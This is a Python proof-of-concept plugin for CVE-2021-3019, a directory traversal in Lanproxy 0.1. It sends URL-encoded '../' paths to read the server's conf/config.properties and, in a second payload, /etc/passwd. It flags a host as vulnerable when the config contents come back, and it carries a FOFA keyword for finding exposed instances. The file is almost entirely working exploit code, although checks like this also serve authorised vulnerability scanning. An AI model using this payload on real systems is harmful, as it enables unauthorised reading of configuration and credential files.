# coding:utf-8
import requests
import urllib
requests.packages.urllib3.disable_warnings()

class c2Class(object):
	def __init__(self):
		self.vulname = 'Lanproxy 0.1 Directory Traversal(CVE-2021-3019)'
		self.vulsystem= 'Lanproxy'
		self.vulsystemintro = 'Lanproxy是一个将局域网个人电脑、服务器代理到公网的内网穿透工具，有web管理端。'
		self.vulversion = '0.1'
		self.fofa='Lanproxy'
		self.findtime='2021-1'
		self.cveid='CVE-2021-3019'
		self.refer= 'https://blog.csdn.net/qq_37602797/article/details/112486230\nhttps://www.cnblogs.com/KHZ521/p/14265850.html'
		self.bbb=''
		self.testisok=True


		self.vulpath='/'+urllib.urlencode({'':'../conf/config.properties'})[1:] # /..%2fconf%2fconfig.properties
		self.vulpath2='/'+urllib.urlencode({'':'../../../../../../../../../../etc/passwd'})[1:] # /..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd 12个/..+/etc/passwd
		self.flag=200
		self.flag1='server.bind='
		self.flag2='root:x:0'

	def c2Func(self,target):
		status=0
		returnData=''
		if target.startswith(('http://','https://')):
			# 这是为了拿到 <http://主机名>这样格式的数据
			target=target+'/'
			target=target[:target.find('/',8)] # len('https://') = 8
		else:
			target='http://'+target
		try:
			url=target.strip('/')+self.vulpath
			resp=requests.get(url=url,verify=False,timeout=2)
			# print(url)
			# if self.flag == resp.status_code:
			# 	print(resp.text)
			if self.flag == resp.status_code and resp.text.__contains__(self.flag1):
				returnData='%s is bad.The vuln is %s.The /'\
				'payloa is [%s], the result is [%s].'%(target.strip('/'),self.vulname,url,resp.text.strip().replace('\n',' ')) #
				status=1
		except Exception as e:
			# print(e)
			returnData=str(e)
		return status,returnData

if __name__ == '__main__':
	target='192.168.3.12'
	pocObj=c2Class()
	print(pocObj.c2Func(target))
